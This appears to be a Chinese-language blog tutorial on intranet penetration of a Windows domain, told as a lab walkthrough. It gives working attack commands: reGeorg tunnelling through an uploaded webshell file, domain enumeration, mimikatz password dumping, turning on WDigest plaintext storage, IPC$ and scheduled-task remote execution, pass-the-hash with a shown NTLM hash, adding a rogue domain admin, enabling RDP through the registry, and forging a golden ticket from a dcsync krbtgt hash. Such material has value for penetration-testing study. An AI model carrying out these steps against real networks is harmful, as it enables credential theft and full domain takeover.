「網路安全」內網滲透初探

「網路安全」內網滲透初探

基礎知識

內網滲透,從字面上理解便是對目標伺服器所在內網進行滲透並最終獲取域控許可權的一種滲透。內網滲透的前提需要獲取一個Webshell,可以是低許可權的Webshell,因為可以透過提權獲取高許可權。

在進行內網滲透之前需要了解一個概念,域環境。在內網中,往往可能存在幾百上千臺機器,例如需要對機器進行升級、打補丁、設定許可權等,管理員不可能一臺一臺地更新修改。因此便衍生出了域環境。管理員以一臺主機作為域控制器新建一個域,將所有其他主機加入域中,以域控來操作其他主機。因為域控的高許可權,導致了域控所在的主機的管理員賬號密碼,可以登入任意一臺主機,所以內網滲透的最終目標,往往便是拿下域控的許可權。

首先透過提權獲取一個具有管理員許可權的賬號密碼hacker/1234,abcd。具體提權過程就不細說了。下面將利用獲取的這個具有管理員許可權的賬號密碼正式開始內網滲透實踐。

【檢視資料】

內網穿透

在滲透測試過程中,我們拿下了一臺伺服器的許可權,並且透過netstat -ano發現開啟了3389埠,想要遠端桌面連線的時候發現無法連線。這是因為我們獲取的伺服器所處的環境為內網,而內網主機的3389埠,是公網IP透過埠對映的。也就是說,我們連線的外網IP地址的3389埠,對映到內網中,不一定是那臺伺服器的3389埠。

解決這種問題的方法有兩種:

1、讓目標機器去連線外網主機(必須有一臺公網伺服器,內網主機能夠訪問網際網路)

2、在目標機器上設定一個訊號站(放一個WEB檔案在目標機器上,所有流量都經過這個檔案通訊)

在滲透測試過程中,內網主機不能夠訪問網際網路是很常見的,下面透過方法2進行內網穿透。

一、具體流程

1、首先需要一款工具regeorg來建立一個訊號站。

「網路安全」內網滲透初探

2、這裡以PHP站點為例,將tunnel。nosocket。php檔案透過之前獲取的Webshell上傳到站點,嘗試使用web端訪問確定檔案存在。

「網路安全」內網滲透初探

「網路安全」內網滲透初探

3、以python環境執行reGeorgSocksProxy。py指令碼,將從本機的3344埠經過的資料都發送給目標機器的tunnel。nosocket。php檔案。

python reGeorgSocksProxy。py -l 127。0。0。1 -p 3344 -u http://192。168。229。151/tunnel。nosocket。php

「網路安全」內網滲透初探

4、使用工具proxifier,設定遠端桌面軟體mstsc。exe的資料包從本地的3344端口出網。

「網路安全」內網滲透初探

「網路安全」內網滲透初探

5、成功進行內網穿透,透過遠端桌面連線到目標主機。

「網路安全」內網滲透初探

「網路安全」內網滲透初探

其他內網穿透方法還有Frp、Ew、nps等,都是一些可以穿透的工具,原理為搭建一條直通內網的隧道,這裡就不詳細介紹了。

內網資訊收集

1、使用PsExec。exe獲取SYSTEM許可權

進行內網資訊收集需要具有一定的許可權,所以先進行提權獲取SYSTEM許可權。

PsExec。exe -s -i -d cmd

「網路安全」內網滲透初探

2、獲取所有域使用者列表

使用net user /domain命令獲取內網的域為ajie。cool,域中具有Administrator、Guest、krbtgt、web使用者。

「網路安全」內網滲透初探

3、獲取域使用者組資訊

使用net group /domain命令獲取域使用者組資訊。

「網路安全」內網滲透初探

4、獲取域管理員列表

使用net group “domain admins” /domain 命令獲取域管理員列表,域管賬戶只有Administrator。

「網路安全」內網滲透初探

5、獲取域伺服器的IP地址

透過ping 域名稱來獲取域伺服器的IP地址。(也可以透過檢視dns伺服器的IP地址,結合進行判斷域伺服器的IP地址。)

「網路安全」內網滲透初探

6、安裝Namp進行掃描

前面介紹了Nmap工具,在內網滲透過程中也可以透過Nmap獲取內網資訊。

1)首先透過Webshell上傳Nmap的安裝包。

「網路安全」內網滲透初探

2)遠端連線目標伺服器並安裝Nmap進行內網資訊收集。

「網路安全」內網滲透初探

7、內網主機存活探測因為動靜比較大,也可以透過nbtscan工具進行。因為相對於Nmap的大規模掃描行為,nbtscan基於NetBios進行探測,即是相當於windows開啟我的電腦中的網路一樣,被發現的機率相對低一些。

Hash讀取

此處Hash讀取透過工具mimikatz來進行,mimikatz是由本傑明·德爾皮建立開發的一個能夠從記憶體中讀取hash賬號密碼的工具,也可以說是內網滲透中的神器。

下面介紹如何透過mimikatz工具讀取伺服器記憶體中儲存的hash密碼。

1、首先以管理員許可權開啟mimikatz。

「網路安全」內網滲透初探

2、使用privilege::debug提升許可權。

「網路安全」內網滲透初探

3、使用sekurlsa::logonpasswords讀取到記憶體中的管理者賬號的明文密碼和本機的web使用者的密碼。

「網路安全」內網滲透初探

「網路安全」內網滲透初探

4、遠端桌面登入管理員賬號。

「網路安全」內網滲透初探

「網路安全」內網滲透初探

Hash傳遞

一、基礎知識

上面介紹瞭如何進行Hash讀取,如果域控管理員使用自己的域控賬號登入了伺服器,那麼就可以抓取到域控的賬號和密碼了。這樣的危害性是巨大的,所以在滲透測試過程中,內網的機器往往會打

KB2871997

補丁,並且修改登錄檔關閉Wdigest Auth。這樣抓取的就不是明文密碼了。雖然還是能夠獲取密文Hash,但是密文Hash往往不可逆,解開需要花費大量精力。

在域環境下,檢測密碼不是先將Hash解密再驗證是否正確的。在驗證輸入的賬號密碼是否正確的時候,是透過驗證Hash是否相同來進行校驗的。也就是說,或許我們可以透過獲取的Hash來偽造管理員賬號密碼登入,也就是Hash傳遞,又叫PTH,透過將獲取的NTLM密文傳遞到驗證登入的機器,繞過正常驗證進行登入系統。

二、Wdigest

登錄檔中的Wdigest功能關係著記憶體中是否有明文密碼,透過檢視登錄檔鍵值,可以判斷Wdigest功能狀態。如果該項值為“1”則為開啟,即可以獲取明文密碼,如果該項值為“0”,則明文密碼不會出現在記憶體中。開啟和關閉Wdigest Auth命令如下:

(1)開啟Wdigest Auth

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

(2)關閉Wdigest Auth

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

三、IPC$

1、概念

IPC$(Internet Process Connection)是共享“命名管道”的資源,它是為了讓程序間通訊而開放的命名管道,透過提供可信任的使用者名稱和口令,連線雙方可以建立安全的通道並以此通道進行加密資料的交換,從而實現對遠端計算機的訪問。

IPC$的使用條件:開放了139、445埠;目標開啟IPC$檔案共享;獲取使用者賬號密碼。

在內網中,預設就會開啟IPC$共享檔案服務,預設會將C盤共享出來,也就是說,我們可以透過IPC獲取目標C盤的許可權。

2、IPC$常用命令

net use

檢視當前連線的IPC$

net use * /del

刪除IPC$連線

net use \192。168。1。1\ipc$ 密碼 /user:域\賬號

連線域內IP地址為192。168。1。1的主機

dir \192。168。1。1\c$

列出連線的192。168。1。1的C盤檔案

copy c:/12。txt \192。168。1。1\c$\2。txt

複製本地c盤的12。txt檔案到192。168。1。1的c盤並儲存為2。txt

「網路安全」內網滲透初探

3、IPC$命令執行

1、透過at命令制定計劃進行命令執行。

at \\192。168。1。1 11:15am cmd /c “whoami”

2、透過at命令制定計劃進行多層代理的命令執行

at \\192。168。100。1 11:15am cmd /c “net use \\192。168。200。1\ipc$ 密碼 /user:賬號”

at \\192。168。100。1 11:15am cmd /c “at \\192。168。100。1 11:15am cmd /c ”whoami“ ”

四、Hash傳遞實戰演示

1、首先嚐試抓取密碼發現獲取的全部都是密文。

「網路安全」內網滲透初探

2、這裡雖然沒有獲取到明文密碼,但是獲取了域管理員使用者的NTLM。

「網路安全」內網滲透初探

3、提權到SYSTEM許可權,執行net user /domain,獲取域管所在的主機地址。

「網路安全」內網滲透初探

4、嘗試使用ipc$讀取域管的c盤目錄,顯示拒絕訪問。

「網路安全」內網滲透初探

5、透過mimikatz工具進行Hash傳遞。

sekurlsa::pth /user:administrator /domain:“ajie。cool” /ntlm:f1de694efa543bb780da59c049541ea3

「網路安全」內網滲透初探

6、執行完之後會彈出一個命令提示符,執行dir \AD。ajie。cool\c$成功無需賬號密碼獲取了域控機器的c盤的許可權,列出了c盤的檔案。

「網路安全」內網滲透初探

7、在透過PTH彈出的命令提示符中透過。。/跳轉到PsExec。exe檔案所在目錄,執行命令提權獲取一個域控機器的cmd命令提示符。

「網路安全」內網滲透初探

8、執行ipconfig可以看到是域控所在機器的IP地址,成功拿到域控所在機器的許可權。

「網路安全」內網滲透初探

9、在域控中新建使用者並加到管理員組。

「網路安全」內網滲透初探

10、以新建立的使用者遠端桌面登入域控制,發現無法連線遠端桌面服務。

「網路安全」內網滲透初探

11、透過reg命令查詢登錄檔,檢視遠端桌面服務發現返回0x01,說明遠端桌面服務沒有開啟。(開啟則返回0x00)

REG QUERY “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections

「網路安全」內網滲透初探

12、透過拿到的域控的命令提示符來執行修改登錄檔操作,開啟遠端服務功能。

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal“ ”Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

REG ADD “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /v PortNumber /t REG_DWORD /d 0x00000d3d /f

「網路安全」內網滲透初探

13、以新建的hackerend使用者遠端桌面登入域控。

「網路安全」內網滲透初探

黃金票據

一、基礎知識

前面瞭解到在域環境中,域控的賬號密碼可以登入域內任意一臺主機,那麼主機是如何檢測域控賬號密碼是否正確的呢?檢驗賬號密碼可以有兩種方法,詢問域控或者設定一個專門檢測賬號密碼是否正確的第三方中心。在域中便使用到了第三方中心來檢驗輸入的賬號密碼是否相同。這種第三方中心叫KDC金鑰分發中心。(以下內容涉及內網的kerboros協議,小弟學業不精,就簡單說一下了。)

二、KDC金鑰分發中心

KDC(kerberos Distribution Center)金鑰分發中心,維護所有賬戶的名稱和Master Key(key的hash code)。

提供:AS認證服務、TGS票據授予服務。

「網路安全」內網滲透初探

1、AS

授權服務(Authorization Server),對於上面的流程1,提供初始授權認證,使用者表明需求並使用密碼對請求進行加密,AS用提供的密碼對請求進行解密後得到的請求內容,返回給使用者一個TGT(票據授權票據 ticket granting tickets)(用一個密碼加密)。

2、TGS

使用者得到TGT之後使用TGT去訪問TGS(票據授權中心Ticket Granting Server),

TGS驗證TGT後(使用金鑰解密),返回一個Ticket給使用者;使用者得到Ticket後去訪問Server,Server收到Ticket和KDC進行驗證,通過後提供服務。

3、票據

在內網滲透中,票據分為白銀票據和黃金票據。分別對應於普通使用者的票據和域管理員的票據。票據就是Kerberos認證協議的Ticket,因為已經經過了AS和TGS的校驗,所以獲取了票據之後,可以任意登入目標主機。

在查詢域內使用者的時候,總會看到一個使用者叫krbtgt,如圖5-37所示。krbtgt賬戶其實就是KDC秘鑰分發中心用的超管賬戶。我們拿著krbtgt賬戶的票據,去訪問域內機器,目標主機會認為我們是KDC秘鑰分發中心,所以直接給了最高的許可權允許我們訪問。

一般管理員會修改域控賬號的密碼,但是很少有管理員會修改Krbtgt的密碼。在內網滲透的最後階段,我們需要透過獲取黃金票據進行許可權維持,那麼下面將介紹如何獲取krbtgt賬戶的黃金票據。

「網路安全」內網滲透初探

三、實戰演示

1、首先透過遠端桌面將mimikatz。exe和PsExec。exe上傳到域控主機。

「網路安全」內網滲透初探

2、透過PsExec提權為SYSTEM,然後執行mimikatz,輸入命令lsadump::dcsync /user:krbtgt 獲取krbtgt的hash值。

「網路安全」內網滲透初探

3、這裡製作黃金票據需要的資料為:

Object Security ID : S-1-5-21-3296092892-1320626564-2720975204Hash NTLM: 31edc56a2302a25a2e9bee5f04abd659

原Object Security ID最後面有個-502是作為標識的,在製作時需要手動刪除。

「網路安全」內網滲透初探

4、退出遠端桌面,在攻擊機透過mimikatz製作黃金票據。執行命令後會生成一個AD。kiribi檔案。

kerberos::golden /admin:administrator /domain:ajie。cool /sid:S-1-5-21-3296092892-1320626564-2720975204 /krbtgt:31edc56a2302a25a2e9bee5f04abd659 /ticket:administrator。kiribi

「網路安全」內網滲透初探

5、製作完票據之後,先嚐試獲取域控的c盤的許可權發現拒絕訪問。

「網路安全」內網滲透初探

6、透過kerberos::purge清空票據快取;kerberos::list列出票據顯示為空,說明清空了所以票據。

「網路安全」內網滲透初探

7、透過kerberos::ptt administrator。kiribi載入生成的票據。

「網路安全」內網滲透初探

8、成功無密碼獲取域控c盤許可權,後面進一步提權與Hash傳遞處相仿,就不做演示了。

「網路安全」內網滲透初探

總結

以上便是簡單地從外網獲取shell,經過提權或不提權直接進行內網滲透的一個簡單過程,其中涉及一些概念問題沒有說的很明白。

最後

關注我持續更新······

私我檢視【網路安全·學習資料·攻略】

「網路安全」內網滲透初探